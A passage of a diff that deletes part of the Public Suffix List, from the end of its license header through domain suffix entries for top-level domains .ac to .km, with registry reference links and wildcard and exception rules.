-//
-// Software distributed under the License is distributed on an "AS IS" basis,
-// WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
-// for the specific language governing rights and limitations under the
-// License.
-//
-// The Original Code is the Public Suffix List.
-//
-// The Initial Developer of the Original Code is
-// Jo Hermans .
-// Portions created by the Initial Developer are Copyright (C) 2007
-// the Initial Developer. All Rights Reserved.
-//
-// Contributor(s):
-// Ruben Arakelyan
-// Gervase Markham
-// Pamela Greene
-// David Triendl
-// Jothan Frakes
-// The kind representatives of many TLD registries
-//
-// Alternatively, the contents of this file may be used under the terms of
-// either the GNU General Public License Version 2 or later (the "GPL"), or
-// the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
-// in which case the provisions of the GPL or the LGPL are applicable instead
-// of those above. If you wish to allow use of your version of this file only
-// under the terms of either the GPL or the LGPL, and not to allow others to
-// use your version of this file under the terms of the MPL, indicate your
-// decision by deleting the provisions above and replace them with the notice
-// and other provisions required by the GPL or the LGPL. If you do not delete
-// the provisions above, a recipient may use your version of this file under
-// the terms of any one of the MPL, the GPL or the LGPL.
-//
-// ***** END LICENSE BLOCK *****
-
-// ac : http://en.wikipedia.org/wiki/.ac
-ac
-com.ac
-edu.ac
-gov.ac
-net.ac
-mil.ac
-org.ac
-
-// ad : http://en.wikipedia.org/wiki/.ad
-ad
-nom.ad
-
-// ae : http://en.wikipedia.org/wiki/.ae
-// see also: "Domain Name Eligibility Policy" at http://www.aeda.ae/eng/aepolicy.php
-ae
-co.ae
-net.ae
-org.ae
-sch.ae
-ac.ae
-gov.ae
-mil.ae
-
-// aero : see http://www.information.aero/index.php?id=66
-aero
-accident-investigation.aero
-accident-prevention.aero
-aerobatic.aero
-aeroclub.aero
-aerodrome.aero
-agents.aero
-aircraft.aero
-airline.aero
-airport.aero
-air-surveillance.aero
-airtraffic.aero
-air-traffic-control.aero
-ambulance.aero
-amusement.aero
-association.aero
-author.aero
-ballooning.aero
-broker.aero
-caa.aero
-cargo.aero
-catering.aero
-certification.aero
-championship.aero
-charter.aero
-civilaviation.aero
-club.aero
-conference.aero
-consultant.aero
-consulting.aero
-control.aero
-council.aero
-crew.aero
-design.aero
-dgca.aero
-educator.aero
-emergency.aero
-engine.aero
-engineer.aero
-entertainment.aero
-equipment.aero
-exchange.aero
-express.aero
-federation.aero
-flight.aero
-freight.aero
-fuel.aero
-gliding.aero
-government.aero
-groundhandling.aero
-group.aero
-hanggliding.aero
-homebuilt.aero
-insurance.aero
-journal.aero
-journalist.aero
-leasing.aero
-logistics.aero
-magazine.aero
-maintenance.aero
-marketplace.aero
-media.aero
-microlight.aero
-modelling.aero
-navigation.aero
-parachuting.aero
-paragliding.aero
-passenger-association.aero
-pilot.aero
-press.aero
-production.aero
-recreation.aero
-repbody.aero
-res.aero
-research.aero
-rotorcraft.aero
-safety.aero
-scientist.aero
-services.aero
-show.aero
-skydiving.aero
-software.aero
-student.aero
-taxi.aero
-trader.aero
-trading.aero
-trainer.aero
-union.aero
-workinggroup.aero
-works.aero
-
-// af : http://www.nic.af/help.jsp
-af
-gov.af
-com.af
-org.af
-net.af
-edu.af
-
-// ag : http://www.nic.ag/prices.htm
-ag
-com.ag
-org.ag
-net.ag
-co.ag
-nom.ag
-
-// ai : http://nic.com.ai/
-ai
-off.ai
-com.ai
-net.ai
-org.ai
-
-// al : http://www.ert.gov.al/ert_alb/faq_det.html?Id=31
-al
-com.al
-edu.al
-gov.al
-mil.al
-net.al
-org.al
-
-// am : http://en.wikipedia.org/wiki/.am
-am
-
-// an : http://www.una.an/an_domreg/default.asp
-an
-com.an
-net.an
-org.an
-edu.an
-
-// ao : http://en.wikipedia.org/wiki/.ao
-// http://www.dns.ao/REGISTR.DOC
-ao
-ed.ao
-gv.ao
-og.ao
-co.ao
-pb.ao
-it.ao
-
-// aq : http://en.wikipedia.org/wiki/.aq
-aq
-
-// ar : http://en.wikipedia.org/wiki/.ar
-*.ar
-!congresodelalengua3.ar
-!educ.ar
-!gobiernoelectronico.ar
-!mecon.ar
-!nacion.ar
-!nic.ar
-!promocion.ar
-!retina.ar
-!uba.ar
-
-// arpa : http://en.wikipedia.org/wiki/.arpa
-// Confirmed by registry 2008-06-18
-e164.arpa
-in-addr.arpa
-ip6.arpa
-iris.arpa
-uri.arpa
-urn.arpa
-
-// as : http://en.wikipedia.org/wiki/.as
-as
-gov.as
-
-// asia: http://en.wikipedia.org/wiki/.asia
-asia
-
-// at : http://en.wikipedia.org/wiki/.at
-// Confirmed by registry 2008-06-17
-at
-ac.at
-co.at
-gv.at
-or.at
-
-// http://www.info.at/
-biz.at
-info.at
-
-// priv.at : http://www.nic.priv.at/
-// Submitted by registry 2008-06-09
-priv.at
-
-// au : http://en.wikipedia.org/wiki/.au
-*.au
-// au geographical names (vic.au etc... are covered above)
-act.edu.au
-nsw.edu.au
-nt.edu.au
-qld.edu.au
-sa.edu.au
-tas.edu.au
-vic.edu.au
-wa.edu.au
-act.gov.au
-// Removed at request of Shae.Donelan@services.nsw.gov.au, 2010-03-04
-// nsw.gov.au
-nt.gov.au
-qld.gov.au
-sa.gov.au
-tas.gov.au
-vic.gov.au
-wa.gov.au
-// CGDNs - http://www.aucd.org.au/
-act.au
-nsw.au
-nt.au
-qld.au
-sa.au
-tas.au
-vic.au
-wa.au
-
-// aw : http://en.wikipedia.org/wiki/.aw
-aw
-com.aw
-
-// ax : http://en.wikipedia.org/wiki/.ax
-ax
-
-// az : http://en.wikipedia.org/wiki/.az
-az
-com.az
-net.az
-int.az
-gov.az
-org.az
-edu.az
-info.az
-pp.az
-mil.az
-name.az
-pro.az
-biz.az
-
-// ba : http://en.wikipedia.org/wiki/.ba
-ba
-org.ba
-net.ba
-edu.ba
-gov.ba
-mil.ba
-unsa.ba
-unbi.ba
-co.ba
-com.ba
-rs.ba
-
-// bb : http://en.wikipedia.org/wiki/.bb
-bb
-biz.bb
-com.bb
-edu.bb
-gov.bb
-info.bb
-net.bb
-org.bb
-store.bb
-
-// bd : http://en.wikipedia.org/wiki/.bd
-*.bd
-
-// be : http://en.wikipedia.org/wiki/.be
-// Confirmed by registry 2008-06-08
-be
-ac.be
-
-// bf : http://en.wikipedia.org/wiki/.bf
-bf
-gov.bf
-
-// bg : http://en.wikipedia.org/wiki/.bg
-// https://www.register.bg/user/static/rules/en/index.html
-bg
-a.bg
-b.bg
-c.bg
-d.bg
-e.bg
-f.bg
-g.bg
-h.bg
-i.bg
-j.bg
-k.bg
-l.bg
-m.bg
-n.bg
-o.bg
-p.bg
-q.bg
-r.bg
-s.bg
-t.bg
-u.bg
-v.bg
-w.bg
-x.bg
-y.bg
-z.bg
-0.bg
-1.bg
-2.bg
-3.bg
-4.bg
-5.bg
-6.bg
-7.bg
-8.bg
-9.bg
-
-// bh : http://en.wikipedia.org/wiki/.bh
-bh
-com.bh
-edu.bh
-net.bh
-org.bh
-gov.bh
-
-// bi : http://en.wikipedia.org/wiki/.bi
-// http://whois.nic.bi/
-bi
-co.bi
-com.bi
-edu.bi
-or.bi
-org.bi
-
-// biz : http://en.wikipedia.org/wiki/.biz
-biz
-
-// bj : http://en.wikipedia.org/wiki/.bj
-bj
-asso.bj
-barreau.bj
-gouv.bj
-
-// bm : http://www.bermudanic.bm/dnr-text.txt
-bm
-com.bm
-edu.bm
-gov.bm
-net.bm
-org.bm
-
-// bn : http://en.wikipedia.org/wiki/.bn
-*.bn
-
-// bo : http://www.nic.bo/
-bo
-com.bo
-edu.bo
-gov.bo
-gob.bo
-int.bo
-org.bo
-net.bo
-mil.bo
-tv.bo
-
-// br : http://registro.br/dominio/dpn.html
-// Updated by registry 2011-03-01
-br
-adm.br
-adv.br
-agr.br
-am.br
-arq.br
-art.br
-ato.br
-b.br
-bio.br
-blog.br
-bmd.br
-can.br
-cim.br
-cng.br
-cnt.br
-com.br
-coop.br
-ecn.br
-edu.br
-emp.br
-eng.br
-esp.br
-etc.br
-eti.br
-far.br
-flog.br
-fm.br
-fnd.br
-fot.br
-fst.br
-g12.br
-ggf.br
-gov.br
-imb.br
-ind.br
-inf.br
-jor.br
-jus.br
-lel.br
-mat.br
-med.br
-mil.br
-mus.br
-net.br
-nom.br
-not.br
-ntr.br
-odo.br
-org.br
-ppg.br
-pro.br
-psc.br
-psi.br
-qsl.br
-radio.br
-rec.br
-slg.br
-srv.br
-taxi.br
-teo.br
-tmp.br
-trd.br
-tur.br
-tv.br
-vet.br
-vlog.br
-wiki.br
-zlg.br
-
-// bs : http://www.nic.bs/rules.html
-bs
-com.bs
-net.bs
-org.bs
-edu.bs
-gov.bs
-
-// bt : http://en.wikipedia.org/wiki/.bt
-bt
-com.bt
-edu.bt
-gov.bt
-net.bt
-org.bt
-
-// bv : No registrations at this time.
-// Submitted by registry 2006-06-16
-
-// bw : http://en.wikipedia.org/wiki/.bw
-// http://www.gobin.info/domainname/bw.doc
-// list of other 2nd level tlds ?
-bw
-co.bw
-org.bw
-
-// by : http://en.wikipedia.org/wiki/.by
-// http://tld.by/rules_2006_en.html
-// list of other 2nd level tlds ?
-by
-gov.by
-mil.by
-// Official information does not indicate that com.by is a reserved
-// second-level domain, but it's being used as one (see www.google.com.by and
-// www.yahoo.com.by, for example), so we list it here for safety's sake.
-com.by
-
-// http://hoster.by/
-of.by
-
-// bz : http://en.wikipedia.org/wiki/.bz
-// http://www.belizenic.bz/
-bz
-com.bz
-net.bz
-org.bz
-edu.bz
-gov.bz
-
-// ca : http://en.wikipedia.org/wiki/.ca
-ca
-// ca geographical names
-ab.ca
-bc.ca
-mb.ca
-nb.ca
-nf.ca
-nl.ca
-ns.ca
-nt.ca
-nu.ca
-on.ca
-pe.ca
-qc.ca
-sk.ca
-yk.ca
-// gc.ca: http://en.wikipedia.org/wiki/.gc.ca
-// see also: http://registry.gc.ca/en/SubdomainFAQ
-gc.ca
-
-// cat : http://en.wikipedia.org/wiki/.cat
-cat
-
-// cc : http://en.wikipedia.org/wiki/.cc
-cc
-
-// cd : http://en.wikipedia.org/wiki/.cd
-// see also: https://www.nic.cd/domain/insertDomain_2.jsp?act=1
-cd
-gov.cd
-
-// cf : http://en.wikipedia.org/wiki/.cf
-cf
-
-// cg : http://en.wikipedia.org/wiki/.cg
-cg
-
-// ch : http://en.wikipedia.org/wiki/.ch
-ch
-
-// ci : http://en.wikipedia.org/wiki/.ci
-// http://www.nic.ci/index.php?page=charte
-ci
-org.ci
-or.ci
-com.ci
-co.ci
-edu.ci
-ed.ci
-ac.ci
-net.ci
-go.ci
-asso.ci
-aéroport.ci
-int.ci
-presse.ci
-md.ci
-gouv.ci
-
-// ck : http://en.wikipedia.org/wiki/.ck
-*.ck
-
-// cl : http://en.wikipedia.org/wiki/.cl
-cl
-gov.cl
-gob.cl
-
-// cm : http://en.wikipedia.org/wiki/.cm
-cm
-gov.cm
-
-// cn : http://en.wikipedia.org/wiki/.cn
-// Submitted by registry 2008-06-11
-cn
-ac.cn
-com.cn
-edu.cn
-gov.cn
-net.cn
-org.cn
-mil.cn
-公司.cn
-网络.cn
-網絡.cn
-// cn geographic names
-ah.cn
-bj.cn
-cq.cn
-fj.cn
-gd.cn
-gs.cn
-gz.cn
-gx.cn
-ha.cn
-hb.cn
-he.cn
-hi.cn
-hl.cn
-hn.cn
-jl.cn
-js.cn
-jx.cn
-ln.cn
-nm.cn
-nx.cn
-qh.cn
-sc.cn
-sd.cn
-sh.cn
-sn.cn
-sx.cn
-tj.cn
-xj.cn
-xz.cn
-yn.cn
-zj.cn
-hk.cn
-mo.cn
-tw.cn
-
-// co : http://en.wikipedia.org/wiki/.co
-// Submitted by registry 2008-06-11
-co
-arts.co
-com.co
-edu.co
-firm.co
-gov.co
-info.co
-int.co
-mil.co
-net.co
-nom.co
-org.co
-rec.co
-web.co
-
-// com : http://en.wikipedia.org/wiki/.com
-com
-
-// CentralNic names : http://www.centralnic.com/names/domains
-// Confirmed by registry 2008-06-09
-ar.com
-br.com
-cn.com
-de.com
-eu.com
-gb.com
-hu.com
-jpn.com
-kr.com
-no.com
-qc.com
-ru.com
-sa.com
-se.com
-uk.com
-us.com
-uy.com
-za.com
-
-// Requested by Yngve Pettersen 2009-11-26
-operaunite.com
-
-// Requested by Eduardo Vela 2010-09-06
-appspot.com
-
-// coop : http://en.wikipedia.org/wiki/.coop
-coop
-
-// cr : http://www.nic.cr/niccr_publico/showRegistroDominiosScreen.do
-cr
-ac.cr
-co.cr
-ed.cr
-fi.cr
-go.cr
-or.cr
-sa.cr
-
-// cu : http://en.wikipedia.org/wiki/.cu
-cu
-com.cu
-edu.cu
-org.cu
-net.cu
-gov.cu
-inf.cu
-
-// cv : http://en.wikipedia.org/wiki/.cv
-cv
-
-// cx : http://en.wikipedia.org/wiki/.cx
-// list of other 2nd level tlds ?
-cx
-gov.cx
-
-// cy : http://en.wikipedia.org/wiki/.cy
-*.cy
-
-// cz : http://en.wikipedia.org/wiki/.cz
-cz
-
-// de : http://en.wikipedia.org/wiki/.de
-// Confirmed by registry (with technical
-// reservations) 2008-07-01
-de
-
-// dj : http://en.wikipedia.org/wiki/.dj
-dj
-
-// dk : http://en.wikipedia.org/wiki/.dk
-// Confirmed by registry 2008-06-17
-dk
-
-// dm : http://en.wikipedia.org/wiki/.dm
-dm
-com.dm
-net.dm
-org.dm
-edu.dm
-gov.dm
-
-// do : http://en.wikipedia.org/wiki/.do
-do
-art.do
-com.do
-edu.do
-gob.do
-gov.do
-mil.do
-net.do
-org.do
-sld.do
-web.do
-
-// dz : http://en.wikipedia.org/wiki/.dz
-dz
-com.dz
-org.dz
-net.dz
-gov.dz
-edu.dz
-asso.dz
-pol.dz
-art.dz
-
-// ec : http://www.nic.ec/reg/paso1.asp
-// Submitted by registry 2008-07-04
-ec
-com.ec
-info.ec
-net.ec
-fin.ec
-k12.ec
-med.ec
-pro.ec
-org.ec
-edu.ec
-gov.ec
-gob.ec
-mil.ec
-
-// edu : http://en.wikipedia.org/wiki/.edu
-edu
-
-// ee : http://www.eenet.ee/EENet/dom_reeglid.html#lisa_B
-ee
-edu.ee
-gov.ee
-riik.ee
-lib.ee
-med.ee
-com.ee
-pri.ee
-aip.ee
-org.ee
-fie.ee
-
-// eg : http://en.wikipedia.org/wiki/.eg
-eg
-com.eg
-edu.eg
-eun.eg
-gov.eg
-mil.eg
-name.eg
-net.eg
-org.eg
-sci.eg
-
-// er : http://en.wikipedia.org/wiki/.er
-*.er
-
-// es : https://www.nic.es/site_ingles/ingles/dominios/index.html
-es
-com.es
-nom.es
-org.es
-gob.es
-edu.es
-
-// et : http://en.wikipedia.org/wiki/.et
-*.et
-
-// eu : http://en.wikipedia.org/wiki/.eu
-eu
-
-// fi : http://en.wikipedia.org/wiki/.fi
-fi
-// aland.fi : http://en.wikipedia.org/wiki/.ax
-// This domain is being phased out in favor of .ax. As there are still many
-// domains under aland.fi, we still keep it on the list until aland.fi is
-// completely removed.
-// TODO: Check for updates (expected to be phased out around Q1/2009)
-aland.fi
-// iki.fi : Submitted by Hannu Aronsson 2009-11-05
-iki.fi
-
-// fj : http://en.wikipedia.org/wiki/.fj
-*.fj
-
-// fk : http://en.wikipedia.org/wiki/.fk
-*.fk
-
-// fm : http://en.wikipedia.org/wiki/.fm
-fm
-
-// fo : http://en.wikipedia.org/wiki/.fo
-fo
-
-// fr : http://www.afnic.fr/
-// domaines descriptifs : http://www.afnic.fr/obtenir/chartes/nommage-fr/annexe-descriptifs
-fr
-com.fr
-asso.fr
-nom.fr
-prd.fr
-presse.fr
-tm.fr
-// domaines sectoriels : http://www.afnic.fr/obtenir/chartes/nommage-fr/annexe-sectoriels
-aeroport.fr
-assedic.fr
-avocat.fr
-avoues.fr
-cci.fr
-chambagri.fr
-chirurgiens-dentistes.fr
-experts-comptables.fr
-geometre-expert.fr
-gouv.fr
-greta.fr
-huissier-justice.fr
-medecin.fr
-notaires.fr
-pharmacien.fr
-port.fr
-veterinaire.fr
-
-// ga : http://en.wikipedia.org/wiki/.ga
-ga
-
-// gb : This registry is effectively dormant
-// Submitted by registry 2008-06-12
-
-// gd : http://en.wikipedia.org/wiki/.gd
-gd
-
-// ge : http://www.nic.net.ge/policy_en.pdf
-ge
-com.ge
-edu.ge
-gov.ge
-org.ge
-mil.ge
-net.ge
-pvt.ge
-
-// gf : http://en.wikipedia.org/wiki/.gf
-gf
-
-// gg : http://www.channelisles.net/applic/avextn.shtml
-gg
-co.gg
-org.gg
-net.gg
-sch.gg
-gov.gg
-
-// gh : http://en.wikipedia.org/wiki/.gh
-// see also: http://www.nic.gh/reg_now.php
-// Although domains directly at second level are not possible at the moment,
-// they have been possible for some time and may come back.
-gh
-com.gh
-edu.gh
-gov.gh
-org.gh
-mil.gh
-
-// gi : http://www.nic.gi/rules.html
-gi
-com.gi
-ltd.gi
-gov.gi
-mod.gi
-edu.gi
-org.gi
-
-// gl : http://en.wikipedia.org/wiki/.gl
-// http://nic.gl
-gl
-
-// gm : http://www.nic.gm/htmlpages%5Cgm-policy.htm
-gm
-
-// gn : http://psg.com/dns/gn/gn.txt
-// Submitted by registry 2008-06-17
-ac.gn
-com.gn
-edu.gn
-gov.gn
-org.gn
-net.gn
-
-// gov : http://en.wikipedia.org/wiki/.gov
-gov
-
-// gp : http://www.nic.gp/index.php?lang=en
-gp
-com.gp
-net.gp
-mobi.gp
-edu.gp
-org.gp
-asso.gp
-
-// gq : http://en.wikipedia.org/wiki/.gq
-gq
-
-// gr : https://grweb.ics.forth.gr/english/1617-B-2005.html
-// Submitted by registry 2008-06-09
-gr
-com.gr
-edu.gr
-net.gr
-org.gr
-gov.gr
-
-// gs : http://en.wikipedia.org/wiki/.gs
-gs
-
-// gt : http://www.gt/politicas.html
-*.gt
-
-// gu : http://gadao.gov.gu/registration.txt
-*.gu
-
-// gw : http://en.wikipedia.org/wiki/.gw
-gw
-
-// gy : http://en.wikipedia.org/wiki/.gy
-// http://registry.gy/
-gy
-co.gy
-com.gy
-net.gy
-
-// hk : https://www.hkdnr.hk
-// Submitted by registry 2008-06-11
-hk
-com.hk
-edu.hk
-gov.hk
-idv.hk
-net.hk
-org.hk
-公司.hk
-教育.hk
-敎育.hk
-政府.hk
-個人.hk
-个人.hk
-箇人.hk
-網络.hk
-网络.hk
-组織.hk
-網絡.hk
-网絡.hk
-组织.hk
-組織.hk
-組织.hk
-
-// hm : http://en.wikipedia.org/wiki/.hm
-hm
-
-// hn : http://www.nic.hn/politicas/ps02,,05.html
-hn
-com.hn
-edu.hn
-org.hn
-net.hn
-mil.hn
-gob.hn
-
-// hr : http://www.dns.hr/documents/pdf/HRTLD-regulations.pdf
-hr
-iz.hr
-from.hr
-name.hr
-com.hr
-
-// ht : http://www.nic.ht/info/charte.cfm
-ht
-com.ht
-shop.ht
-firm.ht
-info.ht
-adult.ht
-net.ht
-pro.ht
-org.ht
-med.ht
-art.ht
-coop.ht
-pol.ht
-asso.ht
-edu.ht
-rel.ht
-gouv.ht
-perso.ht
-
-// hu : http://www.domain.hu/domain/English/sld.html
-// Confirmed by registry 2008-06-12
-hu
-co.hu
-info.hu
-org.hu
-priv.hu
-sport.hu
-tm.hu
-2000.hu
-agrar.hu
-bolt.hu
-casino.hu
-city.hu
-erotica.hu
-erotika.hu
-film.hu
-forum.hu
-games.hu
-hotel.hu
-ingatlan.hu
-jogasz.hu
-konyvelo.hu
-lakas.hu
-media.hu
-news.hu
-reklam.hu
-sex.hu
-shop.hu
-suli.hu
-szex.hu
-tozsde.hu
-utazas.hu
-video.hu
-
-// id : http://en.wikipedia.org/wiki/.id
-// see also: https://register.pandi.or.id/
-id
-ac.id
-co.id
-go.id
-mil.id
-net.id
-or.id
-sch.id
-web.id
-
-// ie : http://en.wikipedia.org/wiki/.ie
-ie
-gov.ie
-
-// il : http://en.wikipedia.org/wiki/.il
-*.il
-
-// im : https://www.nic.im/pdfs/imfaqs.pdf
-im
-co.im
-ltd.co.im
-plc.co.im
-net.im
-gov.im
-org.im
-nic.im
-ac.im
-
-// in : http://en.wikipedia.org/wiki/.in
-// see also: http://www.inregistry.in/policies/
-// Please note, that nic.in is not an offical eTLD, but used by most
-// government institutions.
-in
-co.in
-firm.in
-net.in
-org.in
-gen.in
-ind.in
-nic.in
-ac.in
-edu.in
-res.in
-gov.in
-mil.in
-
-// info : http://en.wikipedia.org/wiki/.info
-info
-
-// int : http://en.wikipedia.org/wiki/.int
-// Confirmed by registry 2008-06-18
-int
-eu.int
-
-// io : http://www.nic.io/rules.html
-// list of other 2nd level tlds ?
-io
-com.io
-
-// iq : http://www.cmc.iq/english/iq/iqregister1.htm
-iq
-gov.iq
-edu.iq
-mil.iq
-com.iq
-org.iq
-net.iq
-
-// ir : http://www.nic.ir/Terms_and_Conditions_ir,_Appendix_1_Domain_Rules
-// Also see http://www.nic.ir/Internationalized_Domain_Names
-// Two .ir entries added at request of , 2010-04-16
-ir
-ac.ir
-co.ir
-gov.ir
-id.ir
-net.ir
-org.ir
-sch.ir
-// xn--mgba3a4f16a.ir (.ir, Persian YEH)
-ایران.ir
-// xn--mgba3a4fra.ir (.ir, Arabic YEH)
-ايران.ir
-
-// is : http://www.isnic.is/domain/rules.php
-// Confirmed by registry 2008-12-06
-is
-net.is
-com.is
-edu.is
-gov.is
-org.is
-int.is
-
-// it : http://en.wikipedia.org/wiki/.it
-it
-gov.it
-edu.it
-// list of reserved geo-names :
-// http://www.nic.it/documenti/regolamenti-e-linee-guida/regolamento-assegnazione-versione-6.0.pdf
-// (There is also a list of reserved geo-names corresponding to Italian
-// municipalities : http://www.nic.it/documenti/appendice-c.pdf , but it is
-// not included here.)
-agrigento.it
-ag.it
-alessandria.it
-al.it
-ancona.it
-an.it
-aosta.it
-aoste.it
-ao.it
-arezzo.it
-ar.it
-ascoli-piceno.it
-ascolipiceno.it
-ap.it
-asti.it
-at.it
-avellino.it
-av.it
-bari.it
-ba.it
-andria-barletta-trani.it
-andriabarlettatrani.it
-trani-barletta-andria.it
-tranibarlettaandria.it
-barletta-trani-andria.it
-barlettatraniandria.it
-andria-trani-barletta.it
-andriatranibarletta.it
-trani-andria-barletta.it
-traniandriabarletta.it
-bt.it
-belluno.it
-bl.it
-benevento.it
-bn.it
-bergamo.it
-bg.it
-biella.it
-bi.it
-bologna.it
-bo.it
-bolzano.it
-bozen.it
-balsan.it
-alto-adige.it
-altoadige.it
-suedtirol.it
-bz.it
-brescia.it
-bs.it
-brindisi.it
-br.it
-cagliari.it
-ca.it
-caltanissetta.it
-cl.it
-campobasso.it
-cb.it
-carboniaiglesias.it
-carbonia-iglesias.it
-iglesias-carbonia.it
-iglesiascarbonia.it
-ci.it
-caserta.it
-ce.it
-catania.it
-ct.it
-catanzaro.it
-cz.it
-chieti.it
-ch.it
-como.it
-co.it
-cosenza.it
-cs.it
-cremona.it
-cr.it
-crotone.it
-kr.it
-cuneo.it
-cn.it
-dell-ogliastra.it
-dellogliastra.it
-ogliastra.it
-og.it
-enna.it
-en.it
-ferrara.it
-fe.it
-fermo.it
-fm.it
-firenze.it
-florence.it
-fi.it
-foggia.it
-fg.it
-forli-cesena.it
-forlicesena.it
-cesena-forli.it
-cesenaforli.it
-fc.it
-frosinone.it
-fr.it
-genova.it
-genoa.it
-ge.it
-gorizia.it
-go.it
-grosseto.it
-gr.it
-imperia.it
-im.it
-isernia.it
-is.it
-laquila.it
-aquila.it
-aq.it
-la-spezia.it
-laspezia.it
-sp.it
-latina.it
-lt.it
-lecce.it
-le.it
-lecco.it
-lc.it
-livorno.it
-li.it
-lodi.it
-lo.it
-lucca.it
-lu.it
-macerata.it
-mc.it
-mantova.it
-mn.it
-massa-carrara.it
-massacarrara.it
-carrara-massa.it
-carraramassa.it
-ms.it
-matera.it
-mt.it
-medio-campidano.it
-mediocampidano.it
-campidano-medio.it
-campidanomedio.it
-vs.it
-messina.it
-me.it
-milano.it
-milan.it
-mi.it
-modena.it
-mo.it
-monza.it
-monza-brianza.it
-monzabrianza.it
-monzaebrianza.it
-monzaedellabrianza.it
-monza-e-della-brianza.it
-mb.it
-napoli.it
-naples.it
-na.it
-novara.it
-no.it
-nuoro.it
-nu.it
-oristano.it
-or.it
-padova.it
-padua.it
-pd.it
-palermo.it
-pa.it
-parma.it
-pr.it
-pavia.it
-pv.it
-perugia.it
-pg.it
-pescara.it
-pe.it
-pesaro-urbino.it
-pesarourbino.it
-urbino-pesaro.it
-urbinopesaro.it
-pu.it
-piacenza.it
-pc.it
-pisa.it
-pi.it
-pistoia.it
-pt.it
-pordenone.it
-pn.it
-potenza.it
-pz.it
-prato.it
-po.it
-ragusa.it
-rg.it
-ravenna.it
-ra.it
-reggio-calabria.it
-reggiocalabria.it
-rc.it
-reggio-emilia.it
-reggioemilia.it
-re.it
-rieti.it
-ri.it
-rimini.it
-rn.it
-roma.it
-rome.it
-rm.it
-rovigo.it
-ro.it
-salerno.it
-sa.it
-sassari.it
-ss.it
-savona.it
-sv.it
-siena.it
-si.it
-siracusa.it
-sr.it
-sondrio.it
-so.it
-taranto.it
-ta.it
-tempio-olbia.it
-tempioolbia.it
-olbia-tempio.it
-olbiatempio.it
-ot.it
-teramo.it
-te.it
-terni.it
-tr.it
-torino.it
-turin.it
-to.it
-trapani.it
-tp.it
-trento.it
-trentino.it
-tn.it
-treviso.it
-tv.it
-trieste.it
-ts.it
-udine.it
-ud.it
-varese.it
-va.it
-venezia.it
-venice.it
-ve.it
-verbania.it
-vb.it
-vercelli.it
-vc.it
-verona.it
-vr.it
-vibo-valentia.it
-vibovalentia.it
-vv.it
-vicenza.it
-vi.it
-viterbo.it
-vt.it
-
-// je : http://www.channelisles.net/applic/avextn.shtml
-je
-co.je
-org.je
-net.je
-sch.je
-gov.je
-
-// jm : http://www.com.jm/register.html
-*.jm
-
-// jo : http://www.dns.jo/Registration_policy.aspx
-jo
-com.jo
-org.jo
-net.jo
-edu.jo
-sch.jo
-gov.jo
-mil.jo
-name.jo
-
-// jobs : http://en.wikipedia.org/wiki/.jobs
-jobs
-
-// jp : http://en.wikipedia.org/wiki/.jp
-// http://jprs.co.jp/en/jpdomain.html
-// Submitted by registry 2008-06-11
-// Updated by registry 2008-12-04
-jp
-// jp organizational type names
-ac.jp
-ad.jp
-co.jp
-ed.jp
-go.jp
-gr.jp
-lg.jp
-ne.jp
-or.jp
-// jp geographic type names
-// http://jprs.jp/doc/rule/saisoku-1.html
-*.aichi.jp
-*.akita.jp
-*.aomori.jp
-*.chiba.jp
-*.ehime.jp
-*.fukui.jp
-*.fukuoka.jp
-*.fukushima.jp
-*.gifu.jp
-*.gunma.jp
-*.hiroshima.jp
-*.hokkaido.jp
-*.hyogo.jp
-*.ibaraki.jp
-*.ishikawa.jp
-*.iwate.jp
-*.kagawa.jp
-*.kagoshima.jp
-*.kanagawa.jp
-*.kawasaki.jp
-*.kitakyushu.jp
-*.kobe.jp
-*.kochi.jp
-*.kumamoto.jp
-*.kyoto.jp
-*.mie.jp
-*.miyagi.jp
-*.miyazaki.jp
-*.nagano.jp
-*.nagasaki.jp
-*.nagoya.jp
-*.nara.jp
-*.niigata.jp
-*.oita.jp
-*.okayama.jp
-*.okinawa.jp
-*.osaka.jp
-*.saga.jp
-*.saitama.jp
-*.sapporo.jp
-*.sendai.jp
-*.shiga.jp
-*.shimane.jp
-*.shizuoka.jp
-*.tochigi.jp
-*.tokushima.jp
-*.tokyo.jp
-*.tottori.jp
-*.toyama.jp
-*.wakayama.jp
-*.yamagata.jp
-*.yamaguchi.jp
-*.yamanashi.jp
-*.yokohama.jp
-!metro.tokyo.jp
-!pref.aichi.jp
-!pref.akita.jp
-!pref.aomori.jp
-!pref.chiba.jp
-!pref.ehime.jp
-!pref.fukui.jp
-!pref.fukuoka.jp
-!pref.fukushima.jp
-!pref.gifu.jp
-!pref.gunma.jp
-!pref.hiroshima.jp
-!pref.hokkaido.jp
-!pref.hyogo.jp
-!pref.ibaraki.jp
-!pref.ishikawa.jp
-!pref.iwate.jp
-!pref.kagawa.jp
-!pref.kagoshima.jp
-!pref.kanagawa.jp
-!pref.kochi.jp
-!pref.kumamoto.jp
-!pref.kyoto.jp
-!pref.mie.jp
-!pref.miyagi.jp
-!pref.miyazaki.jp
-!pref.nagano.jp
-!pref.nagasaki.jp
-!pref.nara.jp
-!pref.niigata.jp
-!pref.oita.jp
-!pref.okayama.jp
-!pref.okinawa.jp
-!pref.osaka.jp
-!pref.saga.jp
-!pref.saitama.jp
-!pref.shiga.jp
-!pref.shimane.jp
-!pref.shizuoka.jp
-!pref.tochigi.jp
-!pref.tokushima.jp
-!pref.tottori.jp
-!pref.toyama.jp
-!pref.wakayama.jp
-!pref.yamagata.jp
-!pref.yamaguchi.jp
-!pref.yamanashi.jp
-!city.chiba.jp
-!city.fukuoka.jp
-!city.hiroshima.jp
-!city.kawasaki.jp
-!city.kitakyushu.jp
-!city.kobe.jp
-!city.kyoto.jp
-!city.nagoya.jp
-!city.niigata.jp
-!city.okayama.jp
-!city.osaka.jp
-!city.saitama.jp
-!city.sapporo.jp
-!city.sendai.jp
-!city.shizuoka.jp
-!city.yokohama.jp
-
-// ke : http://www.kenic.or.ke/index.php?option=com_content&task=view&id=117&Itemid=145
-*.ke
-
-// kg : http://www.domain.kg/dmn_n.html
-kg
-org.kg
-net.kg
-com.kg
-edu.kg
-gov.kg
-mil.kg
-
-// kh : http://www.mptc.gov.kh/dns_registration.htm
-*.kh
-
-// ki : http://www.ki/dns/index.html
-ki
-edu.ki
-biz.ki
-net.ki
-org.ki
-gov.ki
-info.ki
-com.ki
-
-// km : http://en.wikipedia.org/wiki/.km
-// http://www.domaine.km/documents/charte.doc
-km
-org.km
-nom.km
-gov.km
-prd.km
-tm.km
-edu.km
-mil.km
-ass.km
-com.km
-// These are only mentioned as proposed suggestions at domaine.km, but
